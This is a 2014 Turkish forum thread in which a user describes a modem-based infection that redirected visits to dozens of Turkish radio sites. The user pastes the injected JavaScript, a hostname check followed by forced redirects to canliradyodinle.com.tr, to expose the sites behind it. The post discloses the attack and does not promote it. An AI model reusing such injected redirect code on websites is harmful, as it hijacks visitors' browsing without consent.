• 23-08-2014, 15:26:30
    #1
    Merhaba;
    Dün pc'me virüs bulaşmıştı, bazı sitelere girdiğimde otomatik kafasına göre sitelere yönlendiriyordu. Biraz uğraştıktan sonra virüsün pc de değil modemde olduğunu anladım. Modemi sıfırlayıp çözüm buldum ama modemi sıfırlamadan önce virüsü inceleme fırsatı buldum. Virüs .js kodlarını değiştirerek siteleri kendi sitelerine yönlendiriyordu. Aşağıda bu sitelerin adreslerini paylaşacağım, aramızda eğer o site sahipleri varsa belki biraz utanırlar.

    Alıntı
    http://www.haberleryeni.com
    http://f**teziclub.com

    if (top.location.hostname.indexOf("canliradyodinle.ge n.tr") > -1 || top.location.hostname.indexOf("canliradyodinle.com ") > -1 || top.location.hostname.indexOf("canli-radyo.biz") > -1 || top.location.hostname.indexOf("radyo-dinle.com") > -1 || top.location.hostname.indexOf("hapsuu.net") > -1 || top.location.hostname.indexOf("onlineradyodinle.ne t") > -1 || top.location.hostname.indexOf("canliradyodinletv.c om") > -1 || top.location.hostname.indexOf("radyodinler.org") > -1 || top.location.hostname.indexOf("radyoodinle.gen.tr" ) > -1 || top.location.hostname.indexOf("canliradyodinle.biz .tr") > -1 || top.location.hostname.indexOf("radyo-dinle.biz.tr") > -1 || top.location.hostname.indexOf("canliradyodinle.web .tr") > -1 || top.location.hostname.indexOf("rad-yo.com") > -1 || top.location.hostname.indexOf("canliradyovar.com") > -1 || top.location.hostname.indexOf("canliradyodinle.inf o.tr") > -1 || top.location.hostname.indexOf("radyodinle.info") > -1 || top.location.hostname.indexOf("radyodinle.net") > -1 || top.location.hostname.indexOf("canlifm.com") > -1 || top.location.hostname.indexOf("radyodinle.fm") > -1 || top.location.hostname.indexOf("radyodinle.biz") > -1 || top.location.hostname.indexOf("radyodinle.us") > -1 || top.location.hostname.indexOf("724canliradyodinle. com") > -1 || top.location.hostname.indexOf("radyodinle.com") > -1 || top.location.hostname.indexOf("radyodinlesem.net") > -1 || top.location.hostname.indexOf("ligradyo.net") > -1 || top.location.hostname.indexOf("onlinecanliradyodin le.net") > -1 || top.location.hostname.indexOf("radyodinle.tc") > -1 || top.location.hostname.indexOf("canli-radyo-dinle.net") > -1 || top.location.hostname.indexOf("hayatmix.com") > -1 || top.location.hostname.indexOf("radyo.uzman.org") > -1 || top.location.hostname.indexOf("radyolar.org") > -1 || top.location.hostname.indexOf("reklamsizradyo.com" ) > -1 || top.location.hostname.indexOf("online-radyo-dinle.com") > -1 || top.location.hostname.indexOf("onlinecanliradyo.ge n.tr") > -1 || top.location.hostname.indexOf("radyodinleyelim.net ") > -1 || top.location.hostname.indexOf("radyoyayini.com") > -1 || top.location.hostname.indexOf("enyeniradyodinle.co m") > -1 || top.location.hostname.indexOf("radyodinle.be") > -1 || top.location.hostname.indexOf("exaradyo.com") > -1 || top.location.hostname.indexOf("radyodinle.ws") > -1 || top.location.hostname.indexOf("onlineradyodinle.ge n.tr") > -1 || top.location.hostname.indexOf("radyodinle.gen.tr") > -1 || top.location.hostname.indexOf("radyodinleyin.org") > -1 || top.location.hostname.indexOf("powerturk.com") > -1 || top.location.hostname.indexOf("slowturk.com.tr") > -1 || top.location.hostname.indexOf("kralfm.com.tr") > -1 || top.location.hostname.indexOf("bestfm.com.tr") > -1 || top.location.hostname.indexOf("alemfm.com") > -1 || top.location.hostname.indexOf("kralpop.com.tr") > -1 || top.location.hostname.indexOf("ligradyo.net") > -1 || top.location.hostname.indexOf("ntvradyo.com.tr") > -1 || top.location.hostname.indexOf("ntvsporradyo.gen.tr ") > -1 || top.location.hostname.indexOf("numberone.com.tr") > -1 || top.location.hostname.indexOf("palstation106.com") > -1 || top.location.hostname.indexOf("powerfm.com.tr") > -1 || top.location.hostname.indexOf("powerxl.com.tr") > -1 || top.location.hostname.indexOf("radyo1.gen.tr") > -1 || top.location.hostname.indexOf("radyod.com.tr") > -1 || top.location.hostname.indexOf("radioeksen.com") > -1 || top.location.hostname.indexOf("radyofenomen.com") > -1 || top.location.hostname.indexOf("radyospor.com") > -1 || top.location.hostname.indexOf("radyovoyage.com") > -1 || top.location.hostname.indexOf("showradyo.com.tr") > -1 || top.location.hostname.indexOf("slowtime.com.tr") > -1) {
    if (domain.indexOf("canliradyodinle.com.tr")<0) {
    window.top.location = "http://www.canliradyodinle.com.tr/";
    window.location.href = "http://www.canliradyodinle.com.tr/";
    document.write("<meta http-equiv=\"refresh\" content=\"1;url=http://www.canliradyodinle.com.tr/\">");
    }

    Eğer inanmayan olursa js kodlarını yollayabilirim.
  • 27-08-2014, 16:49:15
    #2
    Kimlik doğrulama veya yönetimden onay bekliyor.
    gecmis olsun modem virüsünü daha änce hic duymamistim.